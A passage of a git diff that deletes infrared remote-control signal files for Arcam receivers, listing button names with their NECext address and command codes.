-address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_-_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_-_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: SAT_VIDEO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: CYCLE_ASPECT_RATIO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: AV_VIDEO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: FOLLOW_ZONE_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: DVD_VIDEO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: TAPE_VIDEO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: VCR_VIDEO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: LAST_/_THX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1C 00 00 00 -# -name: STORE_PRE_X_(TUNER) -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1C 00 00 00 -# -name: ZONE_2_MODE_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1D 00 00 00 -# -name: ZONE_2_MODE_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1E 00 00 00 -# -name: ROOM_EQ_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1E 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: GUIDE_/_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: CYCLE_DECODE_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: SELECT_DVR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: TRIM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: TRIM_MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: SPEAKER_TRIM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: BASS_CON._MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 27 00 00 00 -# -name: FAVORITE_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 29 00 00 00 -# -name: FAVORITE_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2A 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2B 00 00 00 -# -name: BASS_INCREMENT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2C 00 00 00 -# -name: BASS_DECREMENT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2D 00 00 00 -# -name: TREBLE_INCREMENT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2E 00 00 00 -# -name: ZONE_2_MODE_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2F 00 00 00 -# -name: CYCLE_OUTPUT_RES -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2F 00 00 00 -# -name: ZONE_2_MODE_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 30 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 30 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 31 00 00 00 -# -name: LIP_SYNC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 32 00 00 00 -# -name: LIPSYNC_CONT_MEN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 32 00 00 00 -# -name: SUB_TRIM_MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 33 00 00 00 -# -name: A-B_/_SUB -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 33 00 00 00 -# -name: SUB_CONTROL_MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 33 00 00 00 -# -name: AM_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 34 00 00 00 -# -name: AM_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 34 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 34 00 00 00 -# -name: ENTER_/_AM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 34 00 00 00 -# -name: SELECT_AM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 34 00 00 00 -# -name: FM_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 35 00 00 00 -# -name: FM_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 35 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 35 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 35 00 00 00 -# -name: 0_FM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 35 00 00 00 -# -name: PRESET/TUNE_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 36 00 00 00 -# -name: PRESET_MODE_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 36 00 00 00 -# -name: SELECT_FM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 36 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 37 00 00 00 -# -name: PRESET/TUNE_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: PRESET_TUNE_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: TRACK_FORWARD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: PRESET/TUNE_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 39 00 00 00 -# -name: PRESET_TUNE_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 39 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 39 00 00 00 -# -name: TRACK_BACKWARD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 39 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3B 00 00 00 -# -name: DISPLAY_BRIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3B 00 00 00 -# -name: DYN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3E 00 00 00 -# -name: EFFECT:_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3F 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 40 00 00 00 -# -name: PARTY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 41 00 00 00 -# -name: CLUB -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 42 00 00 00 -# -name: HALL -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 43 00 00 00 -# -name: SPORT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 44 00 00 00 -# -name: CHURCH -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 45 00 00 00 -# -name: SURROUND_MODE_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: SURROUND_MODE_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: EFFECT_(TOOGLE) -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: SLEEP_/_FX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: DOLBY_VOL._ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: SELECT_SIRIUS -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 48 00 00 00 -# -name: STEREO_DIRECT_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4E 00 00 00 -# -name: DISCRETE_DIR_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4E 00 00 00 -# -name: STEREO_DIRECT_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4F 00 00 00 -# -name: DISCRETE_DIR_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4F 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: NAVIGATE_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: NAVIGATE_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: NAVIGATE_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: NAVIGATE_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 -# -name: CURSOR_SELECT/OK -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 -# -name: ZONE_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5F 00 00 00 -# -name: TREBLE_DECREMENT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 62 00 00 00 -# -name: LIPSYNC_+_BY_1MS -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 64 00 00 00 -# -name: LIPSYNC_-_BY_1MS -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 65 00 00 00 -# -name: DOLBY_PLIIX_MOVIE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 67 00 00 00 -# -name: DOLBY_PLIIX_MUSIC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 67 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6A 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6A 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6B 00 00 00 -# -name: DOLBY_PLII_MOVIE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6C 00 00 00 -# -name: DOLBY_PLII_MUSIC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6D 00 00 00 -# -name: DOLBY_PL_EMULATE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6E 00 00 00 -# -name: DTS_NEO:6_CINEMA -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6F 00 00 00 -# -name: DTS_NEO:6_MUSIC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 70 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 77 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 78 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7B 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7B 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7C 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7C 00 00 00 -# -name: POWER_OFF/STANDBY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7C 00 00 00 -# -name: STANDBY/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7C 00 00 00 -# -name: STAND_BY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7C 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7C 00 00 00 -# -name: ZONE_1_STANDBY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/17,-1.ir deleted file mode 100644 index e9cf177cd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/17,-1.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ZONE_2:_SAT_INPUT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: NUMBER_0_(TUNER) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: PRESET_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: NUMBER_1_(TUNER) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: PRESET_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: ZONE_2:_AV_INPUT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: NUMBER_2_(TUNER) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: PRESET_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: ZONE_2:_TUNER_INPUT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: NUMBER_3_(TUNER) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: PRESET_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: ZONE_2:_DVD_INPUT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: NUMBER_4_(TUNER) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: PRESET_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: NUMBER_5_(TUNER) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: PRESET_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: ZONE_2:_VCR_INPUT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: NUMBER_6_(TUNER) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: PRESET_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: ZONE_2:_CD_INPUT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: NUMBER_7_(TUNER) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: PRESET_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: ZONE_2:_PVR_INPUT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: NUMBER_8_(TUNER) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: PRESET_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: ZONE_2:_DVD-A_INP. -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: NUMBER_9_(TUNER) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: ZONE_2:_POWER_TOG. -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0C 00 00 00 -# -name: ZONE_2:_MUTE_TOG. -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: ZONE_2:_VOLUME_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 10 00 00 00 -# -name: ZONE_2:_VOLUME_DN. -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 11 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: PRE/SIRIUS_+_(TUN) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: PRE/SIRIUS_-_(TUN) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: SEEK_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: SEEK_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 23 00 00 00 -# -name: PAGE_DOWN_(TUNE) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: PAGE_UP_(TUNER) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: DELETE_PRESET -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: ZONE_2:_PRESET_TOG. -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 36 00 00 00 -# -name: ZONE_2:_PRESET_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: ZONE_2:_PRESET_DN. -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: TUNING_+_RIGHT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4D 00 00 00 -# -name: TUNING_-_LEFT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4E 00 00 00 -# -name: PRESET_DOWN_(TUNER) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 55 00 00 00 -# -name: PRESET_UP_(TUNE) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 56 00 00 00 -# -name: PRESET_10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 6E 00 00 00 -# -name: PRESET_11 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 6F 00 00 00 -# -name: PRESET_12 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 70 00 00 00 -# -name: PRESET_13 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 71 00 00 00 -# -name: PRESET_14 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 72 00 00 00 -# -name: ZONE_2:_MUTE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 77 00 00 00 -# -name: ZONE_2:_MUTE_OFF -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 78 00 00 00 -# -name: ZONE_2:_ON -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7B 00 00 00 -# -name: ZONE_2:_STAND_BY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/19,-1.ir deleted file mode 100644 index b0df62b10..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/19,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SAT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 00 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 02 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 04 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 05 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 06 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 07 00 00 00 -# -name: PVR/AUX -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 08 00 00 00 -# -name: DVD-A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 09 00 00 00 -# -name: MUTE-TOGGLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 11 00 00 00 -# -name: ZONE_2_ON -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2F 00 00 00 -# -name: ZONE_2_OFF -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 30 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/23,-1.ir deleted file mode 100644 index b955df401..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/23,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ZONE_2_VOL._UP -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 01 00 00 00 -# -name: ZONE_2_VOL._DOWN -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 02 00 00 00 -# -name: ZONE_2_MUTE_TOG. -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 03 00 00 00 -# -name: ZONE_2_MUTE_ON -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 04 00 00 00 -# -name: ZONE_2_MUTE_OFF -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 05 00 00 00 -# -name: ZONE_2_CD -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 06 00 00 00 -# -name: ZONE_2_DVD -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 07 00 00 00 -# -name: ZONE_2_SAT -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 08 00 00 00 -# -name: ZONE_2_AV -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 09 00 00 00 -# -name: ZONE_2_TAPE -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0A 00 00 00 -# -name: ZONE_2_VCR -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0B 00 00 00 -# -name: ZONE_2_DVR -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0C 00 00 00 -# -name: ZONE_2_AUX -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0D 00 00 00 -# -name: ZONE_2_FM -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0E 00 00 00 -# -name: ZONE_2_AM -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0F 00 00 00 -# -name: ZONE_2_SIRIUS -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 10 00 00 00 -# -name: ZONE_2_NET -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 13 00 00 00 -# -name: ZONE_3_VOL._UP -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 14 00 00 00 -# -name: ZONE_3_VOL._DOWN -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 15 00 00 00 -# -name: ZONE_3_MUTE -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 16 00 00 00 -# -name: ZONE_3_MUTE_ON -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 17 00 00 00 -# -name: ZONE_3_MUTE_OFF -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 18 00 00 00 -# -name: ZONE_3_POWER_ON -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 79 00 00 00 -# -name: ZONE_3_POWER_OFF -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 7A 00 00 00 -# -name: ZONE_2_PWR_ON -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 7B 00 00 00 -# -name: ZONE_2_PWR_OFF -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/25,-1.ir deleted file mode 100644 index 7ebbb5950..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/25,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_+_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: TUNER_+_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: TUNER_-_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: TUNER_-_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: EXIT_/_OPEN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 2D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir deleted file mode 100644 index 2ad97aebc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir deleted file mode 100644 index c38b4a771..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SAT_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: SAT_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: TUNER_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: TUNER_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: DVD_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: DVD_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: TAPE_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: TAPE_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: VCR_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: VCR_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: CD_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: CD_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: AUX_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: AUX_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: POWER_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: POWER_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: MUTE_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: MUTE_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_+_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_-_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_-_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir deleted file mode 100644 index 2f170dcf7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR 